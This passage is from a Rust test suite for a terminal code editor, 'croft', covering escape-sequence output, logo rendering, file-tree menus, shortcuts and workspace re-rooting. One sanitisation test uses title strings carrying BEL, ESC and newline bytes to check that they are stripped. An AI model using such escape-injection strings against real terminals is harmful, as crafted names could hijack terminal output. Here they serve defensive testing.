    // shell), so we exercise the Prompt struct directly via the public
    // helpers it relies on.  This guards the data the prompt carries.
    use crate::widgets::file_tree::{create_file_in, create_folder_in, validate_new_name};
    use tempfile::TempDir;
    let tmp = TempDir::new().unwrap();
    // commit_prompt path: validate → create → returns path on success.
    assert!(validate_new_name("hello.rs").is_ok());
    let p = create_file_in(tmp.path(), "hello.rs").unwrap();
    assert!(p.is_file());
    let d = create_folder_in(tmp.path(), "newdir").unwrap();
    assert!(d.is_dir());
}

#[test]
fn set_title_seq_wraps_with_osc0_and_bel() {
    let bytes = set_title_seq("croft");
    assert_eq!(bytes, b"\x1b]0;croft\x07");
}

#[test]
fn set_title_seq_handles_empty_title() {
    let bytes = set_title_seq("");
    assert_eq!(bytes, b"\x1b]0;\x07");
}

#[test]
fn set_title_seq_passes_through_unicode() {
    let bytes = set_title_seq("croft  README.md");
    assert_eq!(bytes, "\x1b]0;croft  README.md\x07".as_bytes());
}

#[test]
fn set_title_seq_strips_control_bytes_that_would_break_the_escape() {
    // BEL terminates the OSC, ESC starts a new sequence — both must be filtered.
    let bytes = set_title_seq("evil\x07file");
    assert_eq!(bytes, b"\x1b]0;evilfile\x07");
    let bytes = set_title_seq("evil\x1bfile");
    assert_eq!(bytes, b"\x1b]0;evilfile\x07");
    let bytes = set_title_seq("evil\nfile");
    assert_eq!(bytes, b"\x1b]0;evilfile\x07");
}

#[test]
fn app_name_constant_is_croft() {
    assert_eq!(APP_NAME, "croft");
}

#[test]
fn set_session_bg_srgb_seq_uses_iterm_osc1337_and_srgb_prefix() {
    // iTerm2 must read the bg as sRGB so the OSC-1337 PNG canvas (also
    // sRGB) matches pixel-for-pixel. Locking in the exact bytes catches
    // any future refactor that drops the `srgb:` prefix or the iTerm2
    // OSC introducer.
    let seq = set_session_bg_srgb_seq(crate::theme::Theme::DARK_BLUE.editor_bg_rgb());
    assert_eq!(seq, "\x1b]1337;SetColors=bg=srgb:1e222e\x07");
}

#[test]
fn reset_session_bg_seq_restores_profile_default() {
    // On exit we must revert iTerm2's session bg so the user's shell
    // doesn't keep croft's forced bg colour.
    assert_eq!(reset_session_bg_seq(), "\x1b]1337;SetColors=bg=default\x07");
}

#[test]
fn welcome_logo_png_asset_is_present_and_decodable() {
    // Regression guard for the welcome screen: the bundled logo asset
    // must remain a valid PNG so the OSC-1337 path can bake it. If
    // someone replaces it with a half-block fallback or empties the
    // asset, this catches it on every CI run.
    let bytes = crate::iterm2_inline::WELCOME_LOGO_PNG;
    assert!(bytes.len() > 1024, "welcome logo asset suspiciously small");
    assert_eq!(&bytes[..8], b"\x89PNG\r\n\x1a\n", "not a PNG file");
    let img = image::load_from_memory_with_format(bytes, image::ImageFormat::Png)
        .expect("welcome logo PNG must decode");
    assert!(img.width() > 0 && img.height() > 0);
}

#[test]
fn welcome_image_bake_produces_osc1337_carrying_logo_pixels() {
    // End-to-end regression for the welcome render path: feeding the
    // bundled logo PNG through the same `fit_image` + `build_inline_image_osc`
    // pipeline `render_welcome` uses must yield an OSC-1337 sequence
    // that (a) starts with the iTerm2 introducer, (b) advertises the
    // requested cell dimensions, and (c) carries an opaque canvas
    // filled with `EDITOR_BG_RGB`. If anyone swaps OSC-1337 for a
    // half-block or text fallback, this test will refuse to compile
    // or fail the byte assertions.
    let canvas_w = 48u32 * 8; // approx welcome cell w * cell pixel w
    let canvas_h = 14u32 * 16;
    let bg_rgb = crate::theme::Theme::DARK_BLUE.editor_bg_rgb();
    let bg = image::Rgba([bg_rgb.0, bg_rgb.1, bg_rgb.2, 0xff]);
    let baked = crate::iterm2_inline::fit_image(
        crate::iterm2_inline::WELCOME_LOGO_PNG,
        canvas_w,
        canvas_h,
        bg,
    )
    .expect("baked welcome PNG");
    assert_eq!(
        &baked[..8],
        b"\x89PNG\r\n\x1a\n",
        "fit_image must emit a PNG"
    );
    let osc = crate::iterm2_inline::build_inline_image_osc(&baked, 48, 14, false);
    assert!(osc.starts_with("\x1b]1337;File=inline=1"));
    assert!(osc.ends_with('\x07'));
    assert!(osc.contains("width=48"));
    assert!(osc.contains("height=14"));

    // Verify the canvas corner pixels are exactly the dark-blue theme bg so
    // the welcome image bg matches the sRGB-decoded session bg.
    let img = image::load_from_memory_with_format(&baked, image::ImageFormat::Png)
        .unwrap()
        .to_rgba8();
    for &(x, y) in &[
        (0u32, 0u32),
        (canvas_w - 1, 0),
        (0, canvas_h - 1),
        (canvas_w - 1, canvas_h - 1),
    ] {
        let p = img.get_pixel(x, y);
        assert_eq!(
            (p.0[0], p.0[1], p.0[2], p.0[3]),
            (bg_rgb.0, bg_rgb.1, bg_rgb.2, 0xff),
            "canvas corner ({x}, {y}) must be opaque editor bg"
        );
    }
}

#[test]
fn brand_spans_render_the_cr_ft_wordmark_with_orange_brackets() {
    let spans = brand_spans(crate::theme::Theme::default());
    let text: String = spans.iter().map(|s| s.content.as_ref()).collect();
    assert_eq!(text, " cr<>ft ");
    // The "<>" (the stylised "o") carries the logo orange; letters stay white.
    let bracket = spans.iter().find(|s| s.content == "<>").unwrap();
    assert_eq!(bracket.style.fg, Some(BRAND_ORANGE));
    assert_eq!(spans[0].style.fg, Some(Color::White));
}

#[test]
fn dtach_reattach_mode_reassert_reenables_mouse_tracking() {
    // dtach `-r winch` delivers only a SIGWINCH on reattach: the newly
    // attached terminal never received the startup DECSETs, so without a
    // re-assert the mouse is dead after every reconnect to a persisted
    // session (0.1.610 bug on `various`). The Resize-time sequence must
    // re-enable the alt screen, mouse tracking with SGR encoding, and
    // bracketed paste, and must SET (not push) the kitty keyboard flags so
    // repeated WINCHes don't leak stack entries the single exit pop can't
    // unwind.
    let s = String::from_utf8(mode_reassert_seq()).unwrap();
    for m in ["\x1b[?1049h", "\x1b[?1000h", "\x1b[?1006h", "\x1b[?2004h"] {
        assert!(s.contains(m), "reattach re-assert missing {m:?}");
    }
    // Structural guarantee, not just spot checks: the re-assert embeds the
    // startup takeover block verbatim, so a mode added at startup (via
    // takeover_mode_seq) can never be missing from the reattach path.
    let takeover = String::from_utf8(takeover_mode_seq()).unwrap();
    assert!(
        s.starts_with(&takeover),
        "mode_reassert_seq must embed takeover_mode_seq verbatim"
    );
    let set_kbd = format!("\x1b[={};1u", keyboard_enhancement_flags().bits());
    assert!(s.contains(&set_kbd), "kitty keyboard flags must be re-SET");
    assert!(
        !s.contains("\x1b[>"),
        "a push (CSI > flags u) per WINCH would leak stack entries"
    );
}

#[test]
fn keyboard_enhancement_flags_request_disambiguate_escape_codes() {
    let f = keyboard_enhancement_flags();
    assert!(
        f.contains(crossterm::event::KeyboardEnhancementFlags::DISAMBIGUATE_ESCAPE_CODES),
        "Cmd / modifier delivery requires DISAMBIGUATE_ESCAPE_CODES"
    );
}

#[test]
fn keyboard_enhancement_flags_do_not_force_all_keys_as_escapes() {
    // REPORT_ALL_KEYS_AS_ESCAPE_CODES rewrites plain printable input.
    // We only need the disambiguation bit, not the all-keys bit.
    let f = keyboard_enhancement_flags();
    assert!(
        !f.contains(crossterm::event::KeyboardEnhancementFlags::REPORT_ALL_KEYS_AS_ESCAPE_CODES),
        "we should not opt into REPORT_ALL_KEYS_AS_ESCAPE_CODES"
    );
}

#[test]
fn status_bar_shows_document_facts_not_a_keyboard_cheat_sheet() {
    // The redesigned bar drops the `^q Quit / ^j Term / …` cheat-sheet for a
    // VS Code-style right cluster of document facts.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.path = Some(std::path::PathBuf::from("x.rs"));
    app.editor
        .set_language(Some(crate::highlight::LangKind::Rust));
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let last_y = buf.area.height - 1;
    let row: String = (0..buf.area.width)
        .map(|x| buf[(x, last_y)].symbol())
        .collect();
    assert!(
        row.contains("Ln 1, Col 1"),
        "status bar shows cursor position: {row:?}"
    );
    assert!(
        row.contains("Rust"),
        "status bar shows language mode: {row:?}"
    );
    assert!(
        !row.contains("Cycle pane") && !row.contains("Quit"),
        "the keyboard cheat-sheet must be gone: {row:?}"
    );
}

#[test]
fn no_stale_tcode_pill_literal_in_source() {
    let src = include_str!("mod.rs");
    assert!(
        !src.contains("\" tcode \""),
        "stale ` tcode ` pill literal still present in src/app/mod.rs"
    );
}

#[test]
fn build_title_uses_basename_and_app_name() {
    let p = std::path::Path::new("/Users/somebody/projects/croft");
    assert_eq!(build_title(p), "croft  croft");
    let p = std::path::Path::new("/");
    assert_eq!(build_title(p), "croft  /");
}

fn file_node(path: &Path) -> crate::widgets::file_tree::Node {
    crate::widgets::file_tree::Node {
        path: path.to_path_buf(),
        depth: 1,
        is_dir: false,
        expanded: false,
        loaded: false,
    }
}

fn dir_node(path: &Path) -> crate::widgets::file_tree::Node {
    crate::widgets::file_tree::Node {
        path: path.to_path_buf(),
        depth: 1,
        is_dir: true,
        expanded: false,
        loaded: false,
    }
}

#[test]
fn tree_context_menu_on_file_offers_new_file_new_folder_then_cut_copy_rename_delete() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("hello.txt");
    std::fs::write(&f, "hi").unwrap();
    let n = file_node(&f);
    let target = f.parent().unwrap().to_path_buf();
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&f),
        &target,
        None,
        None,
    );
    let labels: Vec<&str> = items.iter().map(|(s, _)| s.as_str()).collect();
    assert_eq!(
        labels,
        [
            "New File",
            "New Folder",
            "Cut",
            "Copy",
            "Rename",
            "Select for Compare",
            "Delete",
        ],
    );
    assert!(matches!(&items[0].1, MenuAction::Create(CreateKind::File)));
    assert!(matches!(
        &items[1].1,
        MenuAction::Create(CreateKind::Folder)
    ));
    assert!(matches!(&items[2].1, MenuAction::Cut(ps) if ps == &vec![f.clone()]));
    assert!(matches!(&items[3].1, MenuAction::Copy(ps) if ps == &vec![f.clone()]));
    assert!(matches!(&items[4].1, MenuAction::Rename(p) if p == &f));
    assert!(matches!(&items[5].1, MenuAction::SelectForCompare(p) if p == &f));
    assert!(matches!(&items[6].1, MenuAction::Delete { paths } if paths == &vec![f.clone()]));
}

#[test]
fn tree_context_menu_adds_reveal_in_finder_when_local_macos() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("hello.txt");
    std::fs::write(&f, "hi").unwrap();
    let n = file_node(&f);
    let target = f.parent().unwrap().to_path_buf();
    let mut items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&f),
        &target,
        None,
        None,
    );
    maybe_add_reveal_in_finder(&mut items, Some(f.as_path()), true);
    // Lands directly beneath the New File / New Folder block, mirroring VS
    // Code's top "reveal" placement.
    assert!(matches!(
        &items[2].1,
        MenuAction::RevealInFinder(p) if p == &f
    ));
    assert_eq!(items[2].0, "Reveal in Finder");
}

#[test]
fn tree_context_menu_omits_reveal_in_finder_when_remote() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("hello.txt");
    std::fs::write(&f, "hi").unwrap();
    let n = file_node(&f);
    let target = f.parent().unwrap().to_path_buf();
    let mut items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&f),
        &target,
        None,
        None,
    );
    // A remote SSH session disables Finder: the entry must not appear at all,
    // not even as a disabled no-op.
    maybe_add_reveal_in_finder(&mut items, Some(f.as_path()), false);
    assert!(
        !items
            .iter()
            .any(|(_, a)| matches!(a, MenuAction::RevealInFinder(_)))
    );
}

#[test]
fn tree_context_menu_omits_reveal_in_finder_when_no_entry_clicked() {
    let tmp = tempfile::tempdir().unwrap();
    let mut items = build_tree_context_menu_items(None, tmp.path(), &[], tmp.path(), None, None);
    // Right-clicking empty tree space has no path to reveal even on local macOS.
    maybe_add_reveal_in_finder(&mut items, None, true);
    assert!(
        !items
            .iter()
            .any(|(_, a)| matches!(a, MenuAction::RevealInFinder(_)))
    );
}

#[test]
fn reveal_in_finder_shortcut_hint_is_opt_cmd_r() {
    let action = MenuAction::RevealInFinder(PathBuf::from("/tmp/x"));
    assert_eq!(shortcut_for(&action), Some("⌥⌘R"));
}

#[test]
fn reveal_in_finder_key_is_opt_cmd_r_and_disjoint_from_rename() {
    // Cmd+Opt+R (and Ctrl+Opt+R) reveal in Finder.
    assert!(is_reveal_in_finder_key(key(
        KeyCode::Char('r'),
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
    assert!(is_reveal_in_finder_key(key(
        KeyCode::Char('r'),
        KeyModifiers::CONTROL | KeyModifiers::ALT
    )));
    // Plain Cmd+R must NOT trigger reveal - that chord is Rename.
    assert!(!is_reveal_in_finder_key(key(
        KeyCode::Char('r'),
        KeyModifiers::SUPER
    )));
    // And Cmd+Opt+R must NOT trigger Rename, so the two R chords never collide.
    assert!(!is_tree_rename_key(key(
        KeyCode::Char('r'),
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
}

#[test]
fn explorer_shortcut_predicates_recognise_expected_keys() {
    assert!(is_tree_new_file_key(key(
        KeyCode::Char('f'),
        KeyModifiers::SUPER
    )));
    assert!(is_tree_new_file_key(key(
        KeyCode::Char('F'),
        KeyModifiers::CONTROL
    )));
    assert!(!is_tree_new_file_key(key(
        KeyCode::Char('f'),
        KeyModifiers::NONE
    )));
    // Shift+Super disqualifies New File so Cmd+Shift+F can fall through to
    // the global Search jump (New Folder now lives on Cmd+Shift+N).
    assert!(!is_tree_new_file_key(key(
        KeyCode::Char('F'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));

    assert!(is_tree_new_folder_key(key(
        KeyCode::Char('N'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
    assert!(is_tree_new_folder_key(key(
        KeyCode::Char('N'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT
    )));
    assert!(!is_tree_new_folder_key(key(
        KeyCode::Char('n'),
        KeyModifiers::SUPER
    )));
    assert!(
        !is_tree_new_folder_key(key(
            KeyCode::Char('F'),
            KeyModifiers::SUPER | KeyModifiers::SHIFT
        )),
        "Cmd+Shift+F is no longer the New Folder chord — it must fall through to the global Search jump"
    );

    assert!(is_tree_rename_key(key(
        KeyCode::Char('r'),
        KeyModifiers::SUPER
    )));
    assert!(is_tree_rename_key(key(KeyCode::F(2), KeyModifiers::NONE)));
    assert!(!is_tree_rename_key(key(
        KeyCode::Char('r'),
        KeyModifiers::NONE
    )));

    assert!(is_tree_make_root_key(key(
        KeyCode::Char('/'),
        KeyModifiers::SUPER
    )));
    assert!(is_tree_make_root_key(key(
        KeyCode::Char('/'),
        KeyModifiers::CONTROL
    )));
    assert!(!is_tree_make_root_key(key(
        KeyCode::Char('/'),
        KeyModifiers::NONE
    )));

    let cmd_shift = KeyModifiers::SUPER | KeyModifiers::SHIFT;
    let ctrl_shift = KeyModifiers::CONTROL | KeyModifiers::SHIFT;
    assert!(is_tree_make_parent_root_key(key(
        KeyCode::Char('/'),
        cmd_shift
    )));
    assert!(is_tree_make_parent_root_key(key(
        KeyCode::Char('/'),
        ctrl_shift
    )));
    assert!(is_tree_make_parent_root_key(key(
        KeyCode::Char('?'),
        KeyModifiers::SUPER
    )));
    assert!(is_tree_make_parent_root_key(key(
        KeyCode::Char('?'),
        KeyModifiers::CONTROL
    )));
    assert!(is_tree_make_parent_root_key(key(
        KeyCode::Char('?'),
        cmd_shift
    )));
    assert!(!is_tree_make_parent_root_key(key(
        KeyCode::Char('/'),
        KeyModifiers::SUPER
    )));
    assert!(!is_tree_make_parent_root_key(key(
        KeyCode::Char('/'),
        KeyModifiers::NONE
    )));
    assert!(!is_tree_make_parent_root_key(key(
        KeyCode::Char('?'),
        KeyModifiers::NONE
    )));
    assert!(!is_tree_make_root_key(key(KeyCode::Char('/'), cmd_shift)));
}

#[test]
fn tree_typeahead_first_keystroke_jumps_to_first_matching_visible_node() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join("apple")).unwrap();
    std::fs::write(tmp.path().join("banana.txt"), "").unwrap();
    std::fs::write(tmp.path().join("cherry.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.apply_tree_typeahead('b', std::time::Instant::now());
    let picked = app.tree.nodes[app.tree.selected]
        .path
        .file_name()
        .unwrap()
        .to_string_lossy()
        .into_owned();
    assert_eq!(picked, "banana.txt", "typing 'b' must select banana.txt");
}

#[test]
fn tree_typeahead_accumulates_prefix_within_window() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join("test")).unwrap();
    std::fs::create_dir(tmp.path().join("toolbox")).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let t0 = std::time::Instant::now();
    app.apply_tree_typeahead('t', t0);
    app.apply_tree_typeahead('e', t0 + std::time::Duration::from_millis(100));
    let name = app.tree.nodes[app.tree.selected]
        .path
        .file_name()
        .unwrap()
        .to_string_lossy()
        .into_owned();
    assert_eq!(
        name, "test",
        "'te' typed within the window must land on 'test', not 'toolbox'"
    );
}

#[test]
fn tree_typeahead_resets_after_window_expires_and_cycles() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join("test")).unwrap();
    std::fs::create_dir(tmp.path().join("toolbox")).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let t0 = std::time::Instant::now();
    app.apply_tree_typeahead('t', t0);
    let first = app.tree.selected;
    let first_name = app.tree.nodes[first]
        .path
        .file_name()
        .unwrap()
        .to_string_lossy()
        .into_owned();
    app.apply_tree_typeahead('t', t0 + std::time::Duration::from_millis(1000));
    let second = app.tree.selected;
    let second_name = app.tree.nodes[second]
        .path
        .file_name()
        .unwrap()
        .to_string_lossy()
        .into_owned();
    assert_ne!(
        first, second,
        "the second 't' after the window expires must cycle to the next 't' match"
    );
    assert!(
        first_name.starts_with('t') && second_name.starts_with('t'),
        "both cycle stops must start with 't'"
    );
}

#[test]
fn tree_typeahead_is_case_insensitive() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("README.md"), "").unwrap();
    std::fs::write(tmp.path().join("zzz.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.apply_tree_typeahead('r', std::time::Instant::now());
    let picked = app.tree.nodes[app.tree.selected]
        .path
        .file_name()
        .unwrap()
        .to_string_lossy()
        .into_owned();
    assert_eq!(picked, "README.md");
}

#[test]
fn tree_typeahead_via_handle_tree_key_jumps_selection() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join("apple")).unwrap();
    std::fs::write(tmp.path().join("banana.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Tree);
    app.sidebar_view = SidebarView::Explorer;
    app.handle_tree_key(key(KeyCode::Char('b'), KeyModifiers::NONE));
    let picked = app.tree.nodes[app.tree.selected]
        .path
        .file_name()
        .unwrap()
        .to_string_lossy()
        .into_owned();
    assert_eq!(
        picked, "banana.txt",
        "a plain letter routed through handle_tree_key must drive typeahead"
    );
}

#[test]
fn tree_typeahead_does_not_fire_when_modifier_held() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("banana.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let before = app.tree.selected;
    app.focus_pane(Pane::Tree);
    app.sidebar_view = SidebarView::Explorer;
    app.handle_tree_key(key(KeyCode::Char('b'), KeyModifiers::CONTROL));
    assert_eq!(
        app.tree.selected, before,
        "Ctrl+letter must not be consumed as typeahead"
    );
    assert!(
        app.tree_typeahead.is_none(),
        "Ctrl-modified keys must not seed the typeahead buffer"
    );
}

#[test]
fn cmd_shift_n_in_explorer_pane_creates_a_new_folder() {
    // With Explorer focused, Cmd+Shift+N opens the New Folder prompt
    // (the user-requested binding, moved off Cmd+Shift+F so that chord
    // can always reach the global Search jump).
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Tree);
    app.sidebar_view = SidebarView::Explorer;
    app.handle_key(key(
        KeyCode::Char('N'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(
        matches!(
            app.prompt.as_ref(),
            Some(Prompt {
                kind: PromptKind::Create(CreateKind::Folder),
                ..
            })
        ),
        "Explorer-focused Cmd+Shift+N must open a New Folder prompt"
    );
    assert_eq!(
        app.sidebar_view,
        SidebarView::Explorer,
        "must NOT jump to Search"
    );
}

#[test]
fn cmd_shift_f_in_explorer_pane_jumps_to_search_not_new_folder() {
    // Cmd+Shift+F is no longer the Explorer's New Folder chord — it
    // now always jumps to the Search sidebar, even when Explorer is
    // focused. New Folder lives on Cmd+Shift+N.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Tree);
    app.sidebar_view = SidebarView::Explorer;
    app.handle_key(key(
        KeyCode::Char('F'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(
        app.prompt.is_none(),
        "Cmd+Shift+F must NOT open the New Folder prompt anymore"
    );
    assert_eq!(app.sidebar_view, SidebarView::Search);
}

#[test]
fn cmd_shift_f_outside_explorer_still_jumps_to_search() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.sidebar_view = SidebarView::Explorer;
    app.handle_key(key(
        KeyCode::Char('F'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(app.sidebar_view, SidebarView::Search);
}

#[test]
fn shortcut_for_returns_expected_shortcuts_for_each_explorer_action() {
    let p = std::path::PathBuf::from("/x");
    assert_eq!(
        shortcut_for(&MenuAction::Create(CreateKind::File)),
        Some("⌘F")
    );
    assert_eq!(
        shortcut_for(&MenuAction::Create(CreateKind::Folder)),
        Some("⌘⇧N")
    );
    assert_eq!(shortcut_for(&MenuAction::Cut(vec![p.clone()])), Some("⌘X"));
    assert_eq!(shortcut_for(&MenuAction::Copy(vec![p.clone()])), Some("⌘C"));
    assert_eq!(shortcut_for(&MenuAction::Paste(p.clone())), Some("⌘V"));
    assert_eq!(shortcut_for(&MenuAction::Rename(p.clone())), Some("⌘R"));
    assert_eq!(shortcut_for(&MenuAction::MakeRoot(p.clone())), Some("⌘/"));
    assert_eq!(
        shortcut_for(&MenuAction::Delete {
            paths: vec![p.clone()]
        }),
        Some("⌫")
    );
    // Every menu row carries an accelerator (croft tenet: no blank column).
    // Color Theme, Close to the Right, and the compare actions are Cmd+K chords.
    assert_eq!(shortcut_for(&MenuAction::OpenThemePicker), Some("⌘K ⌘T"));
    assert_eq!(shortcut_for(&MenuAction::CloseTabsToRight(0)), Some("⌘K →"));
    assert_eq!(
        shortcut_for(&MenuAction::SelectForCompare(p.clone())),
        Some("⌘K S")
    );
    assert_eq!(
        shortcut_for(&MenuAction::CompareWithSelected {
            anchor: p.clone(),
            other: p.clone()
        }),
        Some("⌘K C")
    );
    assert_eq!(
        shortcut_for(&MenuAction::EditBreakpointConditionAt { line: 0 }),
        Some("⇧F9")
    );
    // Editor tab-menu actions: Close Saved and Reveal in Explorer View are
    // Cmd+K chords; Copy Path is a standalone Cmd+Opt chord.
    assert_eq!(shortcut_for(&MenuAction::CloseSavedTabs), Some("⌘K U"));
    assert_eq!(
        shortcut_for(&MenuAction::CopyTabPath(p.clone())),
        Some("⌥⌘C")
    );
    assert_eq!(
        shortcut_for(&MenuAction::RevealInExplorer(p.clone())),
        Some("⌘K E")
    );
}

#[test]
fn tree_context_menu_on_subfolder_offers_make_root_between_rename_and_delete() {
    // "Make root" should appear on folder right-click so the user can
    // re-root the workspace into that folder (e.g., a nested git repo).
    // It must NOT appear on file right-clicks - files can't be a
    // workspace root.
    let tmp = tempfile::tempdir().unwrap();
    let d = tmp.path().join("project_a");
    std::fs::create_dir(&d).unwrap();
    let n = dir_node(&d);
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&d),
        &d,
        None,
        None,
    );
    let labels: Vec<&str> = items.iter().map(|(s, _)| s.as_str()).collect();
    assert!(
        labels.contains(&"Make root"),
        "folder right-click must include Make root, got {labels:?}"
    );
    let mr = items
        .iter()
        .find_map(|(_, a)| match a {
            MenuAction::MakeRoot(p) => Some(p),
            _ => None,
        })
        .expect("Make root action must carry the folder path");
    assert_eq!(mr, &d);
}

#[test]
fn tree_context_menu_on_file_does_not_offer_make_root() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("hello.txt");
    std::fs::write(&f, "hi").unwrap();
    let n = file_node(&f);
    let target = f.parent().unwrap().to_path_buf();
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&f),
        &target,
        None,
        None,
    );
    let labels: Vec<&str> = items.iter().map(|(s, _)| s.as_str()).collect();
    assert!(
        !labels.contains(&"Make root"),
        "files cannot be roots; Make root must be hidden for files: {labels:?}"
    );
}

#[test]
fn cmd_shift_slash_on_a_file_changes_workspace_root_to_the_file_s_parent_dir() {
    let tmp = tempfile::tempdir().unwrap();
    let inner = tmp.path().join("inner");
    std::fs::create_dir(&inner).unwrap();
    let file = inner.join("note.txt");
    std::fs::write(&file, "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let target_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path == file)
        .or_else(|| {
            let i = app.tree.nodes.iter().position(|n| n.path == inner).unwrap();
            app.tree.selected = i;
            app.tree.expand_selected();
            app.tree.nodes.iter().position(|n| n.path == file)
        })
        .expect("file node must be visible after expanding inner/");
    app.tree.selected = target_idx;
    app.focus = Pane::Tree;
    app.sidebar_view = SidebarView::Explorer;

    let handled = app.handle_explorer_shortcut(key(
        KeyCode::Char('/'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ));

    assert!(
        handled,
        "Cmd+Shift+/ must be handled by the Explorer dispatcher"
    );
    assert_eq!(app.workspace_root(), inner);
    assert_eq!(app.tree.root, inner);
}

#[test]
fn changing_workspace_root_retargets_search_at_the_new_explorer_root() {
    let tmp = tempfile::tempdir().unwrap();
    let inner = tmp.path().join("inner");
    std::fs::create_dir_all(&inner).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.search.hits.push(crate::widgets::search::SearchHit {
        path: tmp.path().join("stale.txt"),
        line_no: 1,
        line_text: String::from("stale"),
    });

    app.change_workspace_root(inner.clone());

    assert_eq!(
        app.search.root, inner,
        "the search panel must point at the Explorer's new root so its target and the path-stripping match"
    );
    assert!(
        app.search.hits.is_empty(),
        "hits from the previous root must be dropped when the Explorer root changes"
    );
}

#[test]
fn changing_workspace_root_rebinds_the_test_worker_to_the_new_root() {
    let tmp = tempfile::tempdir().unwrap();
    let inner = tmp.path().join("inner");
    std::fs::create_dir_all(&inner).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert_eq!(app.test_worker.root(), tmp.path());

    app.change_workspace_root(inner.clone());

    assert_eq!(
        app.test_worker.root(),
        inner,
        "the test runner must follow the Explorer root; left at the launch dir (e.g. ~/Documents, no Cargo.toml) `cargo test -- --list` errors and the Testing view stays empty"
    );
}

#[test]
fn changing_workspace_root_resets_the_testing_panel() {
    let tmp = tempfile::tempdir().unwrap();
    let inner = tmp.path().join("inner");
    std::fs::create_dir_all(&inner).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // The old project's tree (e.g. pytest cases from a Python repo).
    app.testing.apply_case(crate::testing::model::TestCase {
        name: String::from("tests/test_x.py::test_a"),
        status: crate::testing::model::TestStatus::Failed,
    });
    assert!(!app.testing.is_empty());

    app.change_workspace_root(inner.clone());

    assert!(
        app.testing.is_empty(),
        "a workspace re-root must drop the old project's tests; a stale tree also blocks open_testing_view's discover-on-empty, so the new project is never discovered"
    );
    assert_eq!(
        app.testing.failed_count(),
        0,
        "the beaker badge must not keep counting the old project's failures"
    );
}

#[test]
fn changing_workspace_root_rebinds_the_lsp_manager_to_the_new_root() {
    let tmp = tempfile::tempdir().unwrap();
    let inner = tmp.path().join("inner");
    std::fs::create_dir_all(&inner).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Pretend a file from the old root is already open with the LSP so we can
    // prove the seen-map is reset (otherwise sync_lsp would never re-open it
    // against the new server).
    app.lsp_last_seen.insert(tmp.path().join("stale.rs"), 7);

    app.change_workspace_root(inner.clone());

    assert_eq!(
        app.lsp.as_ref().unwrap().workspace_root(),
        inner,
        "rust-analyzer's workspace folder must follow the Explorer root; left at the launch dir (e.g. ~/Documents, which has no Cargo.toml) every opened .rs comes back as an unlinked-file with no IDE services"
    );
    assert!(
        app.lsp_last_seen.is_empty(),
        "the LSP seen-map must be cleared on re-root so the next sync_lsp re-opens every live editor tab against the freshly-rooted server"
    );
}

#[test]
fn cmd_shift_slash_on_a_folder_changes_workspace_root_to_that_folder_s_parent() {
    let tmp = tempfile::tempdir().unwrap();
    let mid = tmp.path().join("mid");
    let leaf = mid.join("leaf");
    std::fs::create_dir_all(&leaf).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let mid_idx = app.tree.nodes.iter().position(|n| n.path == mid).unwrap();
    app.tree.selected = mid_idx;
    app.tree.expand_selected();
    let leaf_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path == leaf)
        .expect("leaf must be visible after expanding mid/");
    app.tree.selected = leaf_idx;
    app.focus = Pane::Tree;
    app.sidebar_view = SidebarView::Explorer;

